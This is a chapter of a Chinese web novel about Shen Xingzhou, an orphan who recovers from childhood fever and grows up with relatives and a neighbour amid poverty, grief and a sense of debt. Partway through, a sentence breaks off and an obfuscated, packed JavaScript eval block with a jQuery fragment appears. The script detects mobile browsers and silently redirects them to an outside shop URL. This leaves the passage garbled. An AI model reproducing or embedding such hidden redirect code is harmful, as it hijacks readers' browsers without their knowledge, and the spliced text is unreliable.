“沈行舟。”
有人在喊他的名字。
他费力地睁开眼。天花板还是那张天花板，泛黄的旧报纸一张叠着一张，年年梅雨沤出的霉斑洇成了深深浅浅的印子。空气里弥漫着一股中药渣子味，时间长了，竟像长在了身上，连梦里都甩不脱。
他躺在硬板床上，额头烫得像揣了个火盆，喉咙干得发疼。
他隐约知道自己在发高烧，也知道这烧已经拖了好些天，吃药不见好，去卫生所挂过水，也只是退下去半天。
客厅里传来了压抑的争吵声，隔着薄薄的门板，每一个字都听得清清楚楚。
“……少买两包烟能死吗？孩子的病能拖吗？”
“可我要是不去求人，谁借钱给我们……”
沈行舟把脑袋往被子里缩了缩。一动，外面的声音便听不太清了。
房门被轻轻推开。
一个熟悉的身影走了进来。红色的袄，伸手抚摸着他滚烫的额头。
他想起来了，是妈妈。
母亲的眼圈还是红的，却挤出了一个温柔的笑脸。她坐在床边：“小舟，怎么还没睡？我们再坚持一下，明天去医院打针，如果不哭不闹，妈妈就给你买糖吃，好不好？”
他摇了摇头。
他不要糖，糖要花钱。
母亲将他眼睛抚合，她俯下身，颤抖着嘴唇亲了亲他滚烫的眼皮，道：“别想那么多，乖宝，一切都会好的。”
然后她松开他，从床头摸出一本翻得卷了边的童话书，轻声道：“睡吧，妈妈给你讲故事。”
“……灰姑娘？”那是他最熟的故事，灰姑娘穿着水晶鞋在王宫大厅里跳舞，裙摆上缀满了星星，有无穷无尽的珍宝和幸福。他偷偷地有些羡慕。
“不是前几天才给你讲过？还想听这个？”母亲替他掖了掖被角，“今天讲一个新的吧。”
她翻开书页，就着月光轻柔地念道：“爱丽丝靠着姐姐坐在河岸边，就在她觉得无聊透顶的时候。突然，一只红眼睛的白兔贴着她身边跑了过去。那兔子从背心口袋里掏出一块怀表看了看，惊慌地喊着：‘哦天哪！我要迟到了！’然后，它跳进了一个兔子洞……”
母亲的声音渐渐变得缥缈，化作了坠落的风声。
沈行舟的眼皮越来越沉，高烧带来的眩晕感裹着他往下坠，周围的声全都退得远远的，像隔了一层厚厚的水。
他掉进了那个兔子洞。
身体在失重中不断下坠，像小时候被父亲高高抛起又接住的那一瞬间。周围漂浮着各式各样的家具和挂钟。
落地时，是一片色彩斑斓到近乎疯狂的世界。
他见到了疯帽子。
那个戴着高帽的怪人在长条桌前举办着永远不会散场的茶会，桌上堆满了精美的蛋糕和永远喝不完的红茶。他对沈行舟脱帽致敬，高声道：“欢迎欢迎！你来得正好，我们正缺一个会做梦的人！”
后来他见到了红心女王。她在巨大的玫瑰园里挥舞着权杖，对每一个不顺从的人大声喊着“砍掉他的头”。她对他却算仁慈，问他有什么愿望。
小小的沈行舟站在一棵巨大的蘑菇下面，仰头看着这片绚烂到失真的天空，在心里默默道：希望一切会好起来。
或许真的是上天垂怜，他的高烧在那个夜里退了。第二天早上醒来的时候，他浑身湿透，像从水里捞出来一样，可额头的滚烫奇迹般地消了下去。
他犯病的次数越来越少，救护车的声音也渐渐少在耳边响起。他似乎成了个健康的孩子。
可一切真的会好吗？
家底被掏空了，房子卖了，外债累累。
父亲开始抽更便宜的烟，每天天不亮就出门，天黑透了才回来。母亲的白发是一夜之间冒出来的，起初只有鬓角几根，后来蔓延到头顶，她不再照镜子，也不再抹雪花膏。
饭桌上永远是咸菜和稀粥，偶尔会有炒青菜，油星子漂在汤面上，亮晶晶的。唯独沈行舟的碗里会多一点东西，有时候是一小块肉，有时候是一个荷包蛋，油汪汪的，冒着热气。
沈行舟低头扒饭，把那点肉含在嘴里，不敢嚼，怕嚼着嚼着就咽不下去了。他心口像坠了块石头，沉甸甸的，怎么都化不开。
穷苦的日子总是多灾多难的。
长期的营养不良、心力交瘁的过度劳作、为了还债而透支的生命……一口一口地啃噬着那两具曾经年轻的躯体。
他活下来了。
可爱他的人，却在迅速地枯萎、衰败。
沈行舟盘腿坐在乱糟糟的墓碑前，他呆呆地看着那冰冷的石碑，不知道该做些什么，也不知道该去哪里。
父母走了，家也没了，债还在。
他像个被退回的包裹，再次被送回了乡下。两位老人似乎在一夜之间苍老了许多，却还是强撑着佝偻的背脊，把他抱在怀里，手颤抖着抚摸他的后背，说：“没事，还有姥姥呢。”
半夜醒来，隔壁房间总会传来压抑的呜咽声，闷在枕头里，断断续续的，像一条被截断的河。他悄悄爬起来，透过门缝望进去，看见姥姥和姥爷坐在床边，手里捏着母亲的黑白照片，肩膀一耸一耸的。
他假装什么都没看到。第二天早上起来，他照常扫地、喂鸡。姥姥端出早饭，看他吃得香。他们假装一切都没发生。
沈行舟开始害怕放学。
夕阳西下，别的孩子都往家里跑，只有他一个人磨蹭在田埂上，踢着脚下的石子，一步也不肯快走。
他害怕看到那双通红却充满爱意的眼睛。
姥姥搂着他，一遍遍地在他耳边念叨：“小舟啊，爸爸妈妈很爱你，不是你的错，别想过去的事了，好好生活。”
大人们总是这么安慰他。仿佛只要加上“爱”这个字眼，所有的死亡和苦难就变得神圣了起来。
不是他的错，可那又是谁的错呢？
爱我的人，因我受累，因我贫苦，因我而死。
他翻来覆去地想，想不出答案，也想不出出路。只能低下头，低低地说一句：“我知道的。”
……可为什么要对我这么好？我到底哪一点值得你们对我这么好？
他在学校里拿着第一的成绩，奖状贴满了墙。放了学，便脱下鞋袜，赤脚踩进泥地里。细嫩的肩膀被扁担磨出血泡，又结成老茧。
上山打猪草，下河摸鱼，一年四季，三百多天，没有闲下来的时候。优异的成绩，勤奋孝顺，那一点点微薄收入……他才能在沉重的爱中，获得片刻的心安。
再后来，姥姥姥爷也熬干了最后一点灯油，撒手人寰。他成了真正意义上的孤家寡人。
那一年他十五岁，半大不大，正是尴尬的年纪。
还是隔壁的婶子心软，看他自小长大，便将他领回了家。婶子命也苦，早年守了寡，一个人拉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17843576|206138||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
扯着女儿过活，如今又多了一张嘴。她们对他好得很。婶子给他买新鞋，妹妹把碗里的鸡蛋分给他。
他主动担起了家务，天不亮就起床做饭，放学回来抢着洗衣服，家里大大小小的事他全包了。
婶子逢人就夸他懂事，回家还要教育妹妹：“别当甩手掌柜，多跟你哥学学，看你哥多勤快。”
妹妹也听话，颠颠地跑过来要抢扫帚：“哥，我也来！”
沈行舟笑着把扫帚举高：“你作业写完了吗？我记得你们还有手工课，老师发的种子埋下去了吗？”
妹妹一听，连忙竖起手指“嘘”了一声，让他保密。
“快回去写作业，下次再帮我干活。”沈行舟把她推回屋里。
深夜里，他会在被窝里打着手电筒，拿出一个泛黄的小本子，翻到空白页，接着往下记：婶子给他买衣服花了多少钱、镇上买了几块钱的鸡蛋糕……
一笔一笔，记得清清楚楚。
这些都是要还的。自己能做的便不要去麻烦别人，本就是寄人篱下，温和些，顺从些，不要给别人惹麻烦。
早春的午后，他坐在院子里，看着头顶辽阔却遥不可及的天空发呆。云慢悠悠地浮着，不知道要飘到哪里去。
妹妹正撅着屁股趴在花盆边，一脸愁容地盯着那块土：“哥，奇怪了，我种的东西怎么还不长啊？”
沈行舟回过神，走过去：“你种了什么？”
“芝麻！”
妹妹嘿嘿一笑，眼里闪着光，“我可是精挑细选的种子，问了好几个叔伯呢！他们都说这叫‘芝麻开花节节高’，种下去肯定能一飞冲天，长得比我还高！”
沈行舟看着那里湿漉漉的泥，心里有了不好的预感。他接过妹妹手里的小铲子，小心翼翼地把泥土挖开。
没有嫩芽，没有生机。
土层翻开，露出来的，是一团发黑、发臭的烂泥。
那颗被寄予厚望的种子，已经在那团烂泥里化成了一滩黑水，连原本的形状都看不出来了。
妹妹愣住了，嘴一瘪就要哭：“怎么会这样？明明每天都有雨水，我还捡了鸡粪施肥……”
沈行舟淡淡道：“不是种子不好。早春雨水太大了，根泡烂了。”
拿到大学录取通知书的那天，家里像过年一样。
婶子兴高采烈地摆了席。村里人都夸这伢子争气，说他是山窝里飞出的金凤凰，没白费这一家子的心血。婶子满脸红光，忙前忙后地添菜添酒，妹妹跟在一群孩子后面疯跑。
离开的前一晚，沈行舟抱着哭成泪人的婶子和妹妹，心里难受得发紧，像是要把五脏六腑都掏空了。
可在这巨大的离愁别绪之下，他心底最隐秘的角落里，竟生出了一丝卑劣而自私的解脱。
离开这里，去一个没人认识我的地方。
便总有一天，我可以还清这笔沉甸甸的债，干干净净地重新开始。
绿皮火车的硬座车厢里，汗味和泡面味混杂在一起。
沈行舟抱着书包缩在角落，昏昏沉沉中，看到过道地上坐着一个衣衫褴褛的老者。老者肚子饿得咕咕叫，只能拿着个破茶缸，一遍遍去接热水充饥。
沈行舟犹豫了一下。
他摸了摸口袋，拿出一个鸡蛋，递给了老人。
老人千恩万谢。
在那一瞬间，沈行舟感觉心里莫名轻松了一些。